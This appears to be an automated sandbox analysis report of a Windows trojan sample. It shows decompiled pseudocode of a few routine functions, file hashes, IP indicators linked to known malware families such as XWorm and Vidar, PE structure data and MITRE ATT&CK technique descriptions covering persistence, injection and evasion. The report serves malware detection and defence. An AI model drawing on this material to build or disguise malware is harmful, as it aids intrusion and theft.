Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: CreateMutex
String ID:
API String ID: 1964310414-0
Opcode ID: 5bb28053021b0cd2a62d36c1000829e863951e7d25af3afc8164462e2c0a39a0
Instruction ID: f8e40a2fb9b488e492b0f7feac4188c6d615887c9aadba23722569c078d94a39
Opcode Fuzzy Hash: 5bb28053021b0cd2a62d36c1000829e863951e7d25af3afc8164462e2c0a39a0
Instruction Fuzzy Hash: 4D011966214A8489D7069F7EC4544ACB7B4FB09F8DB188225DF895732CEF35D545C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1D7C300 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00007FF67FF6B1D7C300(void* __rax, void* __rcx) {
				void* _t4;

				if (__rcx - 0xffffffe0 > 0) goto 0xb1d7c34b;
				goto 0xb1d7c332;
				E00007FF67FF6B1D7A484();
				if (0x1 == 0) goto 0xb1d7c34b;
				E00007FF67FF6B1D98E30(0x1, __rcx);
				if (0x1 == 0) goto 0xb1d7c34b;
				RtlAllocateHeap(??, ??, ??); // executed
				if (0x1 == 0) goto 0xb1d7c31d;
				goto 0xb1d7c358;
				_t4 = E00007FF67FF6B1D3B5F4(0x1);
				 *0x1 = 0xc;
				return _t4;
			}

0x7ff6b1d7c30d
0x7ff6b1d7c31b
0x7ff6b1d7c31d
0x7ff6b1d7c324
0x7ff6b1d7c329
0x7ff6b1d7c330
0x7ff6b1d7c33e
0x7ff6b1d7c347
0x7ff6b1d7c349
0x7ff6b1d7c34b
0x7ff6b1d7c350
0x7ff6b1d7c35d

APIs

RtlAllocateHeap.NTDLL ref: 00007FF6B1D7C33E

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 60a0f5f7e5ef1f37efd270134a89679f4e6ea03543306b3654244e5f9d572acd
Instruction ID: 44a990bb5d46a61bb8f41ac4292b8c3ecf3e4b855295949c6403875b45c16de2
Opcode Fuzzy Hash: 60a0f5f7e5ef1f37efd270134a89679f4e6ea03543306b3654244e5f9d572acd
Instruction Fuzzy Hash: 56F0A051F1C643A9FF6457BE685127912804F857ACF8C0736DF2EC62C2DE2CF6814620

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CB6240 Relevance: 1.4, APIs: 1, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00007FF67FF6B1CB6240() {
				long _t45;
				void* _t47;
				intOrPtr _t54;
				void* _t57;
				long _t67;
				intOrPtr* _t69;
				long long _t73;
				long long _t74;
				long long _t76;
				signed long long _t78;
				void* _t82;
				void* _t86;
				long long _t90;
				intOrPtr _t112;
				void* _t116;
				void* _t118;
				void* _t119;
				signed long long _t121;
				signed int _t125;
				intOrPtr _t128;
				long long _t131;

				 *((long long*)(_t118 + 0x18)) = _t73;
				_t119 = _t118 - 0x20;
				_t131 = _t90;
				_t74 = _t76;
				E00007FF67FF6B1D3B5F4(_t67);
				 *((long long*)(_t119 + 0x60)) =  *_t67;
				_t45 = GetLastError();
				_t121 =  *((intOrPtr*)(_t74 + 0x20));
				r15d = _t45;
				_t112 =  *((intOrPtr*)(_t74 + 0x10));
				_t78 =  *(_t74 + 0x50) & 0xfffffffc;
				 *(_t119 + 0x68) = _t67;
				_t128 =  *((intOrPtr*)(_t78 + 0x60));
				r8d =  *(_t78 + 0x20);
				 *((long long*)(_t78 + 0x60)) = _t131;
				_t116 =  *((intOrPtr*)(( *(_t121 - 0x10) & 0xffffffff) + 0x20)) - 0x68;
				r8d = E00007FF67FF6B1CB57D0(0xffffffff, _t116, _t131);
				_t125 = _t121 * 8;
				 *((long long*)(_t74 + 0x28)) =  *((intOrPtr*)(_t74 + 0x20)) + _t125;
				_t82 = _t112 + 0x2d8;
				if ( *((long long*)(_t82 + 0xec)) == 0) goto 0xb1cb62e8;
				 *((long long*)(_t82 + 0x80)) = _t74;
				_t47 = E00007FF67FF6B1CC6FC0(_t82, _t131 - 4); // executed
				if (( *(_t112 + 0x91) & 0x00000008) == 0) goto 0xb1cb6322;
				if ( *((long long*)(_t112 + 0x148)) != 0) goto 0xb1cb6322;
				_t69 =  *((intOrPtr*)(_t112 + 0x14c));
				 *((intOrPtr*)(_t69 + 1)) = _t54;
				 *_t69 =  *_t69 + _t47;
				r8d = 0x89cb8b47ffffffff;
				E00007FF67FF6B1CB5710(_t47, _t57, _t82);
				 *((long long*)(_t74 + 0x28)) =  *((intOrPtr*)(_t74 + 0x20)) + _t125;
				if (( *(_t112 + 0x91) & 0x00000004) == 0) goto 0xb1cb6393;
				r15d = E00007FF67FF6B1CCE510(_t57, _t116);
				if (_t131 - _t128 <= 0) goto 0xb1cb636f;
				if ((_t128 - _t116 - 0x68 >> 2) - 1 -  *((intOrPtr*)(_t116 + 0xc)) >= 0) goto 0xb1cb636f;
				_t86 = _t116;
				if (r15d == E00007FF67FF6B1CCE510(_t57, _t86)) goto 0xb1cb638a;
				r8d = r15d;
				asm("repe invalid");
				 *((long long*)(_t74 + 0x28)) =  *((intOrPtr*)(_t74 + 0x20)) + _t125;
				r15d =  *(_t119 + 0x68);
				if (( *(_t112 + 0x91) & 0x00000002) == 0) goto 0xb1cb63ba;
				if (_t86 - 0x49 - 3 > 0) goto 0xb1cb63ba;
				E00007FF67FF6B1CB5710( *(_t131 - 4) & 0x000000ff, _t57,  *((intOrPtr*)(_t74 + 0x20)) + _t125);
				E00007FF67FF6B1D3B5F4(0x44cb8b47ffffffff);
				 *((long long*)(0x44cb8b47ffffffff)) =  *((intOrPtr*)(_t119 + 0x60));
				goto ( *0xb1da4048);
			}

0x7ff6b1cb6240
0x7ff6b1cb6250
0x7ff6b1cb6254
0x7ff6b1cb6257
0x7ff6b1cb625a
0x7ff6b1cb6261
0x7ff6b1cb6265
0x7ff6b1cb626b
0x7ff6b1cb6276
0x7ff6b1cb6279
0x7ff6b1cb627d
0x7ff6b1cb6281
0x7ff6b1cb6296
0x7ff6b1cb629a
0x7ff6b1cb62a2
0x7ff6b1cb62a6
0x7ff6b1cb62b6
0x7ff6b1cb62b9
0x7ff6b1cb62c4
0x7ff6b1cb62c8
0x7ff6b1cb62d6
0x7ff6b1cb62dc
0x7ff6b1cb62e3
0x7ff6b1cb62ef
0x7ff6b1cb62f8
0x7ff6b1cb62fa
0x7ff6b1cb6309
0x7ff6b1cb630c
0x7ff6b1cb630e
0x7ff6b1cb6312
0x7ff6b1cb631e
0x7ff6b1cb6329
0x7ff6b1cb6353
0x7ff6b1cb6359
0x7ff6b1cb635e
0x7ff6b1cb6362
0x7ff6b1cb636d
0x7ff6b1cb636f
0x7ff6b1cb637c
0x7ff6b1cb6386
0x7ff6b1cb638a
0x7ff6b1cb639a
0x7ff6b1cb63a7
0x7ff6b1cb63b5
0x7ff6b1cb63ba
0x7ff6b1cb63c2
0x7ff6b1cb63d8

APIs

GetLastError.KERNEL32 ref: 00007FF6B1CB6265

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 5730cf8515b8be2c60d544a26b57cc79c9a4c38544da6e6a811d6dac7cbe59c9
Instruction ID: 3a2b3b0383e624f518f1e4afab138dd98086fa555b9adbfecffd6ef608829fc9
Opcode Fuzzy Hash: 5730cf8515b8be2c60d544a26b57cc79c9a4c38544da6e6a811d6dac7cbe59c9
Instruction Fuzzy Hash: 9E41AFB270868596D721DB2AD8083AE77A1FB44B98F240631DF5D87795CF3CE446C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CF1C40 Relevance: 1.3, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32 ref: 00007FF6B1CF1C7B

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: fa059473491a1574342c65a4cb5a79341b36d176553cc976a6637b229634ac46
Instruction ID: e8e883f403ad8050815715286253d10924d84a42f3cbb01250b12e5142e83d57
Opcode Fuzzy Hash: fa059473491a1574342c65a4cb5a79341b36d176553cc976a6637b229634ac46
Instruction Fuzzy Hash: D5E0C226A0AE81C2EA68CB1AE4903A966A1FB8DB88F5D8130CB8D87314DF3DC0558700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6F0BC7FA1 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000003.468146842.00007FF6F0BC6000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007FF6F0BC6000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_3_7ff6f0bc6000_LoWin64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d95285f8a5faa41f23c1dbe8f6faf6c2be8837513ce8d1ef6adf12b76d53d488
Instruction ID: a2b993e61fd1be87bc28ba3bd04a73c9dffefd49ee6c0dc5bea8addf58b38cdb
Opcode Fuzzy Hash: d95285f8a5faa41f23c1dbe8f6faf6c2be8837513ce8d1ef6adf12b76d53d488
Instruction Fuzzy Hash: 8141C470824E0B9AD795DF2888886A0F3E1FF15310F9587B8C96ED7681DF35A891CB80

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6F0BC7F81 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000019.00000003.468146842.00007FF6F0BC6000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007FF6F0BC6000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_3_7ff6f0bc6000_LoWin64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e58a176f5d0273399daeb80bb385ee5f739edc5bf1376809830641d6c32772c1
Instruction ID: 6d1ea9e2853a2bb978e04ead5c745cd429ffe9d1908198a2d01cb58a397752ed
Opcode Fuzzy Hash: e58a176f5d0273399daeb80bb385ee5f739edc5bf1376809830641d6c32772c1
Instruction Fuzzy Hash: ED51B470824E0B9BD795DF2888887A1F3E1FF55310F9583B8C99ED7681DB35A891CB80

Uniqueness

Uniqueness Score: -1.00%

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	HelloKittyCafe.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	SrfFpGhGIc.exe	Get hash	malicious	VjW0rm, WSHRAT	Browse	ip-api.com/json/
	LOIC.exe	Get hash	malicious	Unknown	Browse	ip-api.com/line/?fields=hosting
	PeterBot.exe	Get hash	malicious	Unknown	Browse	ip-api.com/line/?fields=hosting
	persistenceModule.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	qsteemp.exe	Get hash	malicious	Gurcu Stealer	Browse	ip-api.com/line?fields=query,country
	Qukp.exe	Get hash	malicious	RedLine	Browse	ip-api.com/line/?fields=hosting
	Y9IlbIEYjk.exe	Get hash	malicious	VjW0rm, WSHRAT	Browse	ip-api.com/json/
	RA2.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	sourcecode.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	Spotify.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	XBinderOutputBREAD.exe	Get hash	malicious	Unknown	Browse	ip-api.com/line/?fields=hosting
	XClient.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	xw.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	4XFf8KBC6s.exe	Get hash	malicious	Nymaim, RedLine, SmokeLoader, onlyLogger	Browse	ip-api.com/json/
	file.exe	Get hash	malicious	BlackGuard	Browse	ip-api.com/json/
	PO_20091827994.js	Get hash	malicious	WSHRAT	Browse	ip-api.com/json/
	JFBYfxYeTO.exe	Get hash	malicious	BlackGuard	Browse	ip-api.com/json/
	JHtrZ0tgun.exe	Get hash	malicious	BlackGuard	Browse	ip-api.com/json/
	file.exe	Get hash	malicious	BlackGuard, SmokeLoader	Browse	ip-api.com/json/

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	Korsakoff.exe	Get hash	malicious	Orcus	Browse	144.76.136.153
	Z1A6Zv6Ec3.exe	Get hash	malicious	RedLine, Vidar	Browse	144.76.136.153
	SJv6Gz8cGp.exe	Get hash	malicious	RedLine, Typhon Logger	Browse	144.76.136.153
	Ruzvelt.exe	Get hash	malicious	Vidar	Browse	144.76.136.153
	43252345.exe	Get hash	malicious	Vidar	Browse	144.76.136.153
	rUnderseller.exe	Get hash	malicious	GuLoader	Browse	144.76.136.153
	TcvLObcUJL.exe	Get hash	malicious	Socelars	Browse	144.76.136.153
	TQz0yDXXCW.exe	Get hash	malicious	Socelars	Browse	144.76.136.153
	SkLi8s5Jr0.exe	Get hash	malicious	Socelars	Browse	144.76.136.153
	Et1r81zMw7.exe	Get hash	malicious	Socelars	Browse	144.76.136.153
	file.exe	Get hash	malicious	Vidar	Browse	144.76.136.153
	conaset_notificacion1004.msi	Get hash	malicious	Unknown	Browse	144.76.136.153
	file.exe	Get hash	malicious	Amadey, Clipboard Hijacker, Djvu, Fabookie, SmokeLoader	Browse	144.76.136.153
	k4F4uRTZZR.dll	Get hash	malicious	Unknown	Browse	144.76.136.153
	file.exe	Get hash	malicious	Djvu	Browse	144.76.136.153
	wv8pgyY3Fj.exe	Get hash	malicious	Vidar	Browse	144.76.136.153
	2xrKnQfHGt.exe	Get hash	malicious	Vidar	Browse	144.76.136.153
	file.exe	Get hash	malicious	Vidar	Browse	144.76.136.153
	file.exe	Get hash	malicious	Clipboard Hijacker, Vidar	Browse	144.76.136.153
	L1uUC7RRH4.exe	Get hash	malicious	GuLoader	Browse	144.76.136.153

Entrypoint:	0x140080c08
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x6456A01B [Sat May 6 18:44:43 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	d3401a6af173fe335f418ac3c9b5c7cc

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x13f4a0	0xf28	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1403c8	0x3c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x154000	0x2830	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x145000	0xd440	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x157000	0xde8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x12cde0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x12ce00	0x138	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xfb000	0x400	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xf91c0	0xf9200	False	0.4738538008028098	data	6.4820208618671655	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xfb000	0x46168	0x46200	False	0.42493176247771836	Applesoft BASIC program data, first line number 20	6.085100690960691	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x142000	0x2c28	0x1000	False	0.194580078125	data	2.5788698684388627	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x145000	0xd440	0xd600	False	0.5032673773364486	data	6.092690574862316	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x153000	0xfc	0x200	False	0.32421875	data	2.4523174065423476	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x154000	0x2830	0x2a00	False	0.37611607142857145	data	5.275825671416588	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x157000	0xde8	0xe00	False	0.4642857142857143	data	5.410277041190588	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Name	RVA	Size	Type	Language	Country
RT_ICON	0x1540f0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	United States
RT_GROUP_ICON	0x156698	0x14	data	English	United States
RT_MANIFEST	0x1566b0	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	DLL monitoring, File monitoring, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	File monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

